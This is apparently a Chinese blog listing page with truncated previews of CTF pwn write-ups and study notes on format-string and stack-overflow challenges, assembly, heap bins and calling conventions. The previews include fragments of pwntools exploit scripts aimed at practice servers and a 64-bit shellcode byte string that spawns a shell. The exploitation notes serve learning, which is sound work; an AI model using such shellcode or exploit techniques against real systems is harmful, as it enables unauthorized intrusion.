1.7k2 分钟

# pwn2_sctf_2016 靶场问题,本地能解远程不能解。 # fmt 主函数给了 printf 漏洞,需要偏移 11 个参数,然后修改 bss 段中 x 的值。 #!/usr/bin/python3from pwn import *context(log_level='debug')p=remote('node4.buuoj.cn',27176)#p=process('./fm')#gdb.attach(p, 'b printf')target &#x
4.6k4 分钟

# other_shellcode 1 这题直连就是 getshell,大概就是介绍一下系统调用这玩意 # not_the_same_3dsctf_2016 主函数即给了 gets 用于栈溢出,先利用后门函数 get_secret () 将 flag 写入内存,之后用 write 函数输出 flag。 代码如下 #!/usr/bin/python3from pwn import *context(log_level='debug')#p=process('./not_the_same_3dsctf_2016&
4.3k4 分钟

# 汇编 # 汇编指令 在 Linux 上,大部分双操作数的指令均已前者为目的操作数,后者为源操作数。 # 间接寻址 **[] ** 表示间接寻址,类似 c 语言的 ***** . mov eax, [ebx+8] ;若ebx储存值为0x4008,则该指令将0x4010处的值赋给eax mov eax, [0x4001] ;将地址0x4001处的值赋给eax(该代码为推测,不一定合法) lea eax, [ebx] ;直接将ebx的值赋值给eax # 常用命令 push 将数据入栈,pop 将栈顶数据弹出 push eip ;将eip储存的值入栈 pop eip ;将栈顶数据弹出并存入ei
12k11 分钟

# Moectf # test_nc 了解了 nc 指令,在不使用 pwntools 的 remote 命令连接靶机时可以用。直接连接靶机更方便。 # baby_calculater 完成 100 次算式校验就行,顺便学了一下 python 的正则匹配来简化代码。 #!/usr/bin/python3from pwn import *import rep=remote('localhost','34599')context(log_level='debug')p.recvuntil(b'
2.3k2 分钟

堆 未完成 # 不同 bin 区别 Fast Bin Tcache bin Small Bin 最小大小 4*SIZE_SZ (16,32) 每次增长 2*SIZE_SZ 最大大小 默认 64 (max 80) 不含头 63*2*SIZE_SZ bin 数量 10 62 (2-63) 储存地址 # libc 版本区别 libc 版本 unlink tcache libc6_2.23 早就已经有前后块地址验证了所以无法任意地址分配,只能老实 p->p-0x18 无 libc6_2.27-3ubuntu1_
1.2k1 分钟

# 栈 # 传参 # 64 位 参数 寄存器 1 rdi 2 rsi 3 rdx 4 rcx 5 r8 6 r9 7+ 从右向左压入栈中 # ROPgadget ROPgadget --binary pwn --only 'pop|ret'# shellcode 64 位 shellcode = b"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\
2k2 分钟

# 环境 # python # str 和 bytes 转换 B = S.encode('utf-8') #可忽略参数S = B.decode('utf-8')B = bytes(S,'utf-8') #不可忽略参数# 字符串替换 dynstr = dynstr.replace("read","system")# checksec RELRO got 表写权限 Partial RELRO 代表具有写权限 stack canary 栈溢出保护 NX:No-eXecut